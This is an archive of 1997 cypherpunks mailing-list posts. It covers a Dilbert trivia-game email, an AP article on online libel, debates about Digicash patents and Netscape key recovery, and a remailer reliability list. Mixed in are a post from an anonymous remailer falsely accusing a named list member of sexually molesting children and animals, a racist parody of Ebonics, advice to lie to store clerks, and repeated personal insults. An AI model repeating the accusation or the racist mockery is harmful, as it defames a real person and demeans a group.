(123456di) -- is on the Subject line of the message you send
back with your answers.

* Each answer must be preceded by one of these symbols #
and each answer must be on its own line.

* Each answer must be the letter of the multiple choice
answer you like best. Let's repeat. The answer is the letter
of the multiple choice selection you like best.

It works like this: If one of the questions asks for the
name of the evil human resources director, we'll say:

"What is the name of the evil human resources director?"

Then we'll list these choices:

A -- Catbert
B -- Ratbert
C -- Dogbert

You know that Catbert is the evil human resources director,
so you'll send back e-mail with your Player ID in the
Subject line, and a multiple choice selection in the body of
the message that look like this:

# A

That's pretty much all there is to it.

For all the fine print on how to play, the schedule, etc.,
e-mail these addresses for the autoreply of your choice:

How to Play -- dogberthow@yoyo.com
Official Rules -- dogbertrules@yoyo.com
FAQ -- dogbertfaq@yoyo.com

Talk to you soon!

P.S. We promised you an answer to this sample question when
you signed up:

* * *

Dilbert is worried that if head count is reduced by 50
percent, all the smart people will leave

The boss says:

A -- Would that be a bad thing?
B -- If only half the people go, how could that be all the
smart people?
C -- Could you organize a goodbye potluck lunch for them

The correct answer is #C.

---
Yoyodyne Entertainment
"Where the future begins...tomorrow."
win@yoyo.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Mon, 5 May 1997 12:02:01 +0800
To: cypherpunks@EINSTEIN.ssz.com
Subject: http:--www.cnn.com-TECH-9705-04-web.libel.ap-
Message-ID: <199705050307.WAA00242@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain


    CNN logo 
   navigation 
   
   Infoseek/Big Yellow 
   
   
   Pathfinder/Warner Bros 
   
   
   
   
   Tech banner Puzzled about doing real business on the Web? 
   
     rule
     
              CAUTION: ANYTHING YOU POST MAY BE USED AGAINST YOU
                                       
      Libel May 4, 1997
     Web posted at: 9:51 p.m. EDT (0151 GMT)
     
     In this story:
     * When slander becomes libel
     * Privacy issues 
     * E-mail can make it a federal issue 
     * The wrath of large corporations 
       
     
     
     (AP) -- When the Founding Fathers wrote the First Amendment
     protectingfreedom of the press, they never imagined millions of
     Americanswould someday have their own version of one sitting in
     their backrooms.
     
     But with the advent of the World Wide Web, that's exactly whathas
     happened. And from this revolution has emerged a new legalquandary:
     Just what standards are private individuals to be held towhen it
     comes to what they "publish" on the millions of Web pagesand other
     online forums that serve as the world's soapbox?
     
     To a great extent, the answer thus far is this: No one knows.With
     the Web revolution less than 3 years old, a body of case lawhasn't
     yet been built up. But lawyers who study online issues dohave some
     observations -- and advice.
     
     
     
   When slander becomes libel
  
     
     
     First off, they note, the line between slander, once the realmof
     individuals, and libel, the bane of publishers, has beenblurred. It
     used to be that spreading malicious gossip aboutsomeone down at the
     barbershop could lead to charges of slander.But slander, by
     definition spoken, was hard to prove and generallydidn't reach
     enough people to do any major harm.
     
     Post that same information where it can be read by millionsonline,
     however, and you've suddenly entered the realm of libel --governed
     by stricter laws originally written to cover printpublications.
     
     "Let's face it," says Mark Rasch, director of informationsecurity
     law and policy at the Center for Information Protection atScience
     Applications International Corp. in McLean, Virginia. "If I wereto
     print up a handbill saying bad things about my neighbor thatwere
     false, at most I could distribute a couple of hundred of them.With
     the Web, I can now damage his reputation worldwide."
     
     The law is clear: Libel consists of publishing a false anddefamatory
     statement about an identifiable person, causing injuryto the
     subject's reputation. Often tied to it is the legal notionof
     defamation, defined as that which exposes a person to
     hatred,ridicule or contempt, causing them to be shunned or injuring
     theirbusiness or calling.
     
     Truth is always a defense against libel, so if your Web pagesays
     someone has two heads and they do, you're fine. But saythey're a
     murderer and you can expect someone to come asking forsome proof --
     and possibly a bill for damages if you don't have any.
     
     
     
   Privacy issues
  
     
     
     Then, there's invasion of privacy. It's one thing to pass alonga
     juicy bit of gossip to a friend. It's quite another to post it tothe
     Web.
     
     "Let's say, for instance, you disclose some private fact
     aboutsomebody -- say, their medical records. Or you snuck into
     theirhouse and took a nudie photo of them and put it up on the Net.
     Thatwould be a no-no under civil law and they could sue for
     damages,"says David Banisar, staff counsel for the Electronic
     PrivacyInformation Center in Washington, D.C.
     
     Although few of these cases have actually gone to court,
     lawyersoften are called in when things get ugly.
     
     "I know of a few cases where the ex-husband and ex-wife havegone
     after each other on the Net," Banisar says. "In oneinstance, the
     ex-wife put up a diatribe page on what a scumbag hewas and how he
     wasn't paying his child support -- and gave out hisphone number so
     suitably angry women could take it up with him."
     
     Remember, too, that the Internet's reach magnifies everything inthe
     eyes of the law.
     
     
     
   E-mail can make it a federal issue
  
     
     
     Shouting "You jerk, I'm gonna belt you one!" at a carelessdriver who
     runs over your mailbox won't get you into trouble. Butposting the
     threat on the Internet is dangerous. It's all aquestion of reach:
     Anything done over a telecommunications deviceis automatically an
     interstate communication.
     
     "This suddenly makes it a federal issue if you e-mail,"Banisar
     warns.
     
     State statutes vary, but when federal laws come into effect,
     anycommunication containing a threat to kidnap or injure a
     personcarries with it the possibility of imprisonment up to five
     years ora fine of up to $1,000.
     
     And an entirely different level of concern pops up when theobject of
     the threat is an elected official. Like the "no jokes"signs posted
     by airport metal detectors, the FBI has no sense ofhumor when it
     comes to threatening officeholders.
     
     "We can't forget all those idiots arrested for sending threatsto the
     president. So don't send threats to the president overe-mail. It's a
     federal crime," Banisar says.
     
     Fraud is another sticking point. It's illegal everywhere, ofcourse.
     But the Federal Trade Commission has taken an especiallyhard line
     against fraud on the Net. Send a snail-mail chain letterasking for
     money and you might get a call from postal authorities.Try it on the
     Web, however, and you'll be investigated by the FTCforces who track
     online scammers.
     
     
     
   The wrath of large corporations
  
     
     
     But in the end, the biggest vulnerability of any self-publisheron
     the Web is probably the wrath of large corporations.
     
     You can say their logos are ugly and their presidents are jerksand
     they don't flinch. But try using any variety of a heavilytrademarked
     name or image on your site and watch the injunctionsflow.
     
     Generally speaking, it's other businesses who get into trouble.But,
     once in a while, an individual will set out to make a point --and
     get a legally phrased e-mail in response. Several cases haveresulted
     in Web sites' being taken down, including individuals whoposted
     statements against Kmart and McDonald's.
     
     Overall, remember that putting words or pictures up on your Webpage
     is just like publishing them in the newspaper.
     
     Use Rasch's simple test: "What you should avoid putting on theWeb is
     the same stuff you'd avoid putting on leaflets and handingout on the
     street."
     
     Copyright 1997   The Associated Press. All rights reserved. This
     material may not be published, broadcast, rewritten, or
     redistributed. 
     rule
     
  Related sites and stories:
  
     * The Communications Decency Act: Related sites and stories - June
       12, 1996
       
     
     
     External sites are not endorsed by CNN Interactive. rule
     
     Watch these shows on CNN for more sci-tech stories:
     
     CNN Computer Connection | Future Watch | Science & Technology Week
     rule Message Boards 
     
  Sound off on our message boards
  
     Tell us what you think!
     
     You said it... [INLINE] Puzzled about doing real business on the
     Web? rule
     
   
   To the top 
   
   (c) 1997 Cable News Network, Inc.
   All Rights Reserved.
   
        Terms under which this service is provided to you.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Mon, 5 May 1997 14:04:41 +0800
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Bypassing the Digicash Patents
In-Reply-To: <3.0.1.32.19970504183109.02752718@pop.sirius.com>
Message-ID: <3.0.1.32.19970504225450.006fe22c@pop.sirius.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 11:42 PM 5/4/97 EDT, Dr.Dimitri Vulis KOTM wrote:
>Greg Broiles <gbroiles@netbox.com> writes:
>> example, most merchants try to get location/contact information when they
>> take a check, because there's some risk that the check will be returned
>> (sometimes in as long as 2-3 weeks) after the customer and the merchandise
is
>> long gone. If checks cleared instantly, this wouldn't be necessary - and I
>> think merchants would forego collecting this information (they do now, for
>
>As usual, Greg the C2Net shill writes total bullshit about things he
>knows nothing about.  Try paying cash at Radio Shack, and see if they
>ask for your name and address for their mailing list.  I guess Greg
>is not the type to buy anything at Radio Shack.  What a fitting
>employee for C2Net.

I avoid Radio Shack as a general rule, because I haven't been pleased with
the quality of their products and I find their privacy-hostile behavior
annoying. But when I have made purchases at Radio Shack, I've had no trouble
with them if I say "This is a cash sale. You don't need my name or address."

But I understand you're considerably less courageous in person than you are
from behind a terminal a few thousand miles away, so it's entirely possible
that a mousy Radio Shack clerk asking for your name does pose a significant
threat to your privacy. I had overlooked the "wimpy nerd" problem in my
earlier message. Thanks for pointing out my oversight. In the future, please
assume that when I mention a hypothetical consumer, I mean one of average or
greater fortitude. Perhaps you can find a friend who's not scared of the
Radio Shack clerks to make your purchases for you?


-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBM2116P37pMWUJFlhAQEmwwf+LQZaGKOyCOErPlLFo3aRsguix46fhlvS
jYCTc/yTTXObiC5J1IYskaaOpYAmbhtQiSFT+4d8sjhAMteTFVt12gZG0d2RsczT
eHdKthu4NTA6eHPfBjz6C17FcGMaieYXFAbSLHFxFjwVa/g8tN6WHB8IxIG+zPvZ
DVZv4DWsb+SmjQEk0RCs+J5yv2bbAr3lKtXVS7eFzHR9CsaXfIdsq8MisleR+A3u
5ZgRlIdIpDzBEemr32KlL60o8NgcAudLUAimjVb09P6qNmk7A3k+NYwLkaAJrYzk
b+LKyBdoj2opPTiZT1vY3WYEHvpsWpiVJ7yapuNX8r3HlHr+DbNqsA==
=sGw9
-----END PGP SIGNATURE-----

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Mon, 5 May 1997 21:41:40 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Bypassing the Digicash Patents
In-Reply-To: <199705041819.LAA00411@crypt.hfinney.com>
Message-ID: <v03007801af932acf03a6@[207.94.249.214]>
MIME-Version: 1.0
Content-Type: text/plain


At 3:02 PM -0700 5/4/97, Tim May wrote:
>(And such cash systems are almost certainly cheaper for merchants for other
>types of transactions. Getting the money immediately has to be at least as
>cheap as having checks, credit cards, tabs, etc. Obviously.)

An exception may be for businesses like all-night gas stations, where
robbery is a significant cost of doing business.


-------------------------------------------------------------------------
Bill Frantz       | God could make the world   | Periwinkle -- Consulting
(408)356-8506     | in six days because he did | 16345 Englewood Ave.
frantz@netcom.com | not have an installed base.| Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Mon, 5 May 1997 13:48:27 +0800
To: cypherpunks@toad.com
Subject: Re: Full Strength Stronghold 2.0 Released Worldwide
Message-ID: <199705050515.XAA01193@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Tom Weinstein wrote on cryptography@c2.net:

{With Perry dripping Sameer's sperm from his mouth as his
C2Nut Jackboots soiled the message with the following:}
 [I felt I had to let this go through, but I would advise that those
 involved restrict themselves to calmer comments from here on...
--perry]

> sameer wrote:
> >
> > In a recent announcement, Netscape Communications announced plans to
> > include government back doors in their products. "By implementing this
> > so-called 'key recovery', Netscape is getting a small increase in key
> > length in exchange for putting your keys in the hands of the
> > government," said Parekh. "This the same government that hired Aldrich
> > Ames, the same goverment that has IRS employees surfing taxpayer
> > databases at will. What do you think is going to happen to your keys?"
> 
> This is utter crap, and I'm sure you know it.  All we're going to do is
> provide an OPTIONAL (and I mean really optional, not the way the feds
> use it) way for administrators to recover private keys.  This is not
> GAK.  I will never work on a product that includes GAK.
> 
> Oh, but I guess saying that Netscape is responding to customer
> requirements by including support for corporate key recovery wouldn't
> make such good press release spam.

  Crap seems to be such a violent, obscene word when used to 
describe C2Nut's bullshit. Good thing that the cryptography list
has Perry to protect the list subscribers from StrangleHold's
competition defending themselves from Sameer's self-serving
denigration of their products.

  Too bad C2Nut doesn't have a StrangleHold on the cypherpunks
list, as well. Then they could use censorship threats to make
us all be good little boys and girls, too. 
  I expect all PR statements to have a modicum of bullshit in
them and I resent any lame-fuck-would-be-Hitler trying to put
a lid on the response to that bullshit.

  The fact that StrangleHold seems to have so many things to
hide and such a strong need to control discussion of its product
indicates to me that perhaps their product cannot stand up to
the light of public scrutiny and criticsm.
  C2Nut's bottle-fed cryptography list may be fine for those who
are afraid to know too much about StrangleHold, but anyone who
owns a wetsuit needs to subscribe to the cypherpunks list for 
the good, old-fashioned pissing contests that send the pretenders
home with their tails between their legs.
  (Anyone hear from DataERetch lately?)

PissMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Mon, 5 May 1997 14:41:13 +0800
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Bypassing the Digicash Patents
In-Reply-To: <eHP86D9w165w@bwalk.dm.com>
Message-ID: <3.0.1.32.19970504232234.00a71af0@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 10:54 PM 5/4/97 -0700, Greg Broiles wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>At 11:42 PM 5/4/97 EDT, Dr.Dimitri Vulis KOTM wrote:
>>Greg Broiles <gbroiles@netbox.com> writes:
>>> example, most merchants try to get location/contact information when they
>>> take a check, because there's some risk that the check will be returned
>>> (sometimes in as long as 2-3 weeks) after the customer and the
merchandise
>is
>>> long gone. If checks cleared instantly, this wouldn't be necessary - and
I
>>> think merchants would forego collecting this information (they do now,
for
>>
>>As usual, Greg the C2Net shill writes total bullshit about things he
>>knows nothing about.  Try paying cash at Radio Shack, and see if they
>>ask for your name and address for their mailing list.  I guess Greg
>>is not the type to buy anything at Radio Shack.  What a fitting
>>employee for C2Net.

I really knew what specific actions caused people to have such a NASTY
opinion of C2net.  I have seen mistakes on their part, but nothing to warrent
the kind and amount of venom I have seen from people.  Maybe I missed
something somewhere...  (Or is this one of those "people who disagree with me
are <fill in insult here>"?)

>I avoid Radio Shack as a general rule, because I haven't been pleased with
>the quality of their products and I find their privacy-hostile behavior
>annoying. But when I have made purchases at Radio Shack, I've had no trouble
>with them if I say "This is a cash sale. You don't need my name or address."

I only go to Radio Shack as a LAST resort.  Every electronic part I have
bought from them has failed.  (Usually before instalation.)  About the only
thing I have ever bought from them that was worth what I paid for it was a
printer cable.

>But I understand you're considerably less courageous in person than you are
>from behind a terminal a few thousand miles away, so it's entirely possible
>that a mousy Radio Shack clerk asking for your name does pose a significant
>threat to your privacy. I had overlooked the "wimpy nerd" problem in my
>earlier message. Thanks for pointing out my oversight. In the future, please
>assume that when I mention a hypothetical consumer, I mean one of average or
>greater fortitude. Perhaps you can find a friend who's not scared of the
>Radio Shack clerks to make your purchases for you?

There seem to be more and more companies that ask nosey questions at the cash
register.  Toys R Us has been asking for a home phone number every time I
shop there.  (And every time I give them a random number.  They just ask for
a home phone munber.  I never say it is *MY* home phone number.)

I suggest memorizing the address and phone number of some local establishment
or business.  (In Vullis's case, the local methadone clinic might be in
order...)  Government buildings, stadiums, massage parlors and the like are
also useful.  When these people start finding out that the data is bogus,
maybe they will stop relying on it so much.  (Learning to lie to sales people
with a straight face it a useful skill.  Something I learned being a
programmer I guess...)

And if you think that is bad, you should hear what I tell the pollsters in
the mall... ]:>

-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAwUBM218neQCP3v30CeZAQHwmgf/RGmn27rEPtdtdBCVkA+3+UdNCEtLBVL3
IRW9Sr2SNEofX4cbjF+kiiYZM/VDOEGSycq9M+13XApaywxNMQE7D4f3jEVjphSH
+8sEX17BDBTXSOFTjIJaf4bD2Gx+Qld4id7gCU+VeJDiS35Aelxa5mg5nLsHPwzq
qmWMXwvWT8hp5jcN8pwXBqSHb+HMRRpAtkYF+2a6RmpCmjGQ1b48/a3hm01iYi04
sWSAUgEFhJdOwAzu5lFKHYBhQaPVM2kENxzbcHTZha/9f4SKc5mtqGzB/O4aXs1g
DMxAENzJn5uCpAG0AtzTk3Kv2C1xdWhYRZS6ANGPzVgqlQUkjaR0Kg==
=nTwJ
-----END PGP SIGNATURE-----

---
|            "Mi Tio es infermo, pero la carretera es verde!"            |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryce <bryce@digicash.com>
Date: Mon, 5 May 1997 05:37:40 +0800
To: Hal Finney <hal@rain.org>
Subject: Value of the Digicash Patents
In-Reply-To: <199705041819.LAA00411@crypt.hfinney.com>
Message-ID: <199705042126.XAA21662@digicash.com>
MIME-Version: 1.0
Content-Type: text/plain



 A million monkeys operating under the pseudonym 
 "Hal Finney <hal@rain.org>" typed:
>
> It is hard to understand why a system where it is impossible to track
> payments (Chaumian anonymity) is cheaper than one where it is possible
> to do so, but we choose not to.  If avoiding tracking payments is cheaper
> than tracking them, why wouldn't participants just not bother to track
> them even when they theoretically could?


This is an excellent question, Hal.  I've been thinking about it 
since I saw a similar post of yours earlier today.


> Granted, there are situations where taking away someone's options can make
> him better off.  The classic example would be the Prisoner's Dilemma, which
> I will assume people here are familiar with.  Given the choice to cooperate
> or defect, standard analysis predicts that both players will defect.  Remove
> that option, and they will be forced to cooperate, leading to a better
> ("lower cost") outcome for both.  The structure of the game forced them to
> take advantage of an option which has the net result of costing them more.


In the case where the problem of nymity is that one actor can later
prove the fact of the transaction, and this is a cost, I can see 
how the option of anonymity could make a cheaper transaction 
possible.  However, I think that this is _not_ the case that Robert
Hettinga is interested in.  I think the case that Bob is talking 
about is when the cost is the possibility of incurring legal 
liability from the transaction.


So it is true that _if_ the transactions were unconditionally 
anonymous, _then_ you would not have the costs of legal liability,
but it does not follow that anonymity is the _only_ way to avoid 
the cost.


Frankly, I think the best way to avoid that cost in the forseeable
future is the time-tested method of saying "I make no warranties, 
etc. etc. and incur no contractual obligation blah blah and so 
forth.", as part of your deal.


I think this can be accomplished done without using any 
cryptographic technique more complicated than simple 
authentication.


Regards,

Zooko Journeyman

Disclaimers follow:  I am not a crook.  NOT speaking for DigiCash 
or any other person or organization.  No PGP sig follows.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 5 May 1997 12:08:34 +0800
To: cypherpunks@toad.com
Subject: Re: Bypassing the Digicash Patents
In-Reply-To: <3.0.1.32.19970504183109.02752718@pop.sirius.com>
Message-ID: <eHP86D9w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles <gbroiles@netbox.com> writes:
> example, most merchants try to get location/contact information when they
> take a check, because there's some risk that the check will be returned
> (sometimes in as long as 2-3 weeks) after the customer and the merchandise is
> long gone. If checks cleared instantly, this wouldn't be necessary - and I
> think merchants would forego collecting this information (they do now, for

As usual, Greg the C2Net shill writes total bullshit about things he
knows nothing about.  Try paying cash at Radio Shack, and see if they
ask for your name and address for their mailing list.  I guess Greg
is not the type to buy anything at Radio Shack.  What a fitting
employee for C2Net.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Mon, 5 May 1997 14:18:05 +0800
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: [STEGO] One-time pads
In-Reply-To: <199705042340.QAA09356@fat.doobie.com>
Message-ID: <Pine.A41.3.95.970504234425.70330A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


I think Vulis needs each of us to send ten copies of this back
to him.

On Sun, 4 May 1997, Huge Cajones Remailer wrote:

> Timmy C. Mayonnaise sexually molests little children, farm 
> animals, and inanimate objects.
> 
>      < >            < >
>       V    )_.._(    V Timmy C. Mayonnaise
>       \\   <____>   //
>         ~ <______> ~      >
>         /~\______/~\     //
>         /~\_____/~\     /_\
>         /~\____/~\     /_\
>          /~\___/\~\  _/_\/
>             \___/\__/__\/
>               \___/__\/
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Mon, 5 May 1997 22:07:54 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Rejecting Dialog with Government Vermin
In-Reply-To: <19970502085056.16118@bywater.songbird.com>
Message-ID: <19970505002517.53020@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, May 05, 1997 at 12:31:12AM -0500, snow wrote:
> Kent Crispin wrote:
> > AP? You apparently don't have direct knowledge of this, but after a
> > certain level of economic security has been reached economics becomes
> > a much less important as a motivator [Maslow].
> 
> 	Bullshit:
> 	
> 	Donald Trump. Leona Helmsley, The Kennedy Clan, etc.
> 
> 	I would say that with economics, the _more_ you have the more 
> it motivates your life.

And of course, Tim May, and John Gillmore.

"Economics" was a poor choice of word on my part, and you make a good
point.  However, IMO all three examples you give are clearly more 
motivated by power and gamesmanship than they are by economics.  The 
Kennedys, especially, long ago switched to politics.

In general, past a certain level of wealth people remain in the game 
because they enjoy playing it, not because they need the money.  
Prior to that level they seek money because they believe they need 
it.  Some people find it hard to make that transition, and continue 
to believe they need money long after all objective reasons have 
disappeared. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Mon, 5 May 1997 20:48:07 +0800
To: kent@songbird.com (Kent Crispin)
Subject: Re: Rejecting Dialog with Government Vermin
In-Reply-To: <19970502085056.16118@bywater.songbird.com>
Message-ID: <199705050531.AAA00507@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin wrote:
> AP? You apparently don't have direct knowledge of this, but after a
> certain level of economic security has been reached economics becomes
> a much less important as a motivator [Maslow].

	Bullshit:
	
	Donald Trump. Leona Helmsley, The Kennedy Clan, etc.

	I would say that with economics, the _more_ you have the more 
it motivates your life. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 5 May 1997 20:26:40 +0800
To: cypherpunks@toad.com
Subject: Re: Ebonics: The Finale
In-Reply-To: <v02140b01af92c9f91f41@[10.0.2.15]>
Message-ID: <199705051200.FAA01520@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:27 PM 5/4/97 -0700, Steve Schear wrote:
|Oakland school officials drop ebonics references
|
|Associated Press
|
|OAKLAND, Calif.-The Oakland public schools African American Task Force has
|dropped all references to ebonies in a final report about improving
|education for black students.

Ofay fools!

It don' be ded. It 'live.

Ebo





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 5 May 1997 22:13:12 +0800
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199705051350.GAA16929@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash latent cut ek reord";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"dustbin"} = "<dustman@athensnet.com> cpunk pgp hash latent cut ek mix reord middle";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = "<remailer@wazoo.com> cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = "<remailer@lycaeum.org> cpunk pgp hash latent cut ek";
$remailer{"hidden"} = "<remailer@hidden.net> cpunk pgp hash latent cut";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 5 May 97 6:45:39 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
nym      config@nym.alias.net             *+*#+#+++**#     3:30  99.99%
cyber    alias@alias.cyberpass.net        ++++*-++***#    19:39  99.98%
balls    remailer@huge.cajones.com        *####*####*#     1:52  99.97%
squirrel mix@squirrel.owl.de              +-++++++++-   1:54:28  99.94%
weasel   config@weasel.owl.de             +-++-+++++-   1:57:01  99.90%
lucifer  lucifer@dhp.com                  ++++++++++++    35:18  99.90%
mix      mixmaster@remail.obscura.com     ++.-.-.---.-  8:18:24  99.87%
replay   remailer@replay.com               ***++- * -*    54:35  98.34%
jam      remailer@cypherpunks.ca           ******* ***     8:52  97.43%
winsock  winsock@rigel.cyberpass.net      -------..-    5:58:48  97.30%
hidden   remailer@hidden.net              #+#**#+#   +  5:34:09  95.94%
reno     middleman@cyberpass.net          -+.--+-.+     1:19:01  90.79%
dustbin  dustman@athensnet.com                 -..--    3:59:41  78.48%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
Date: Tue, 6 May 1997 00:11:54 +0800
To: Kent Crispin <cypherpunks@cyberpass.net
Subject: Re: Rejecting Dialog with Government Vermin
Message-ID: <199705051536.IAA12717@mail.pacifier.com>
MIME-Version: 1.0
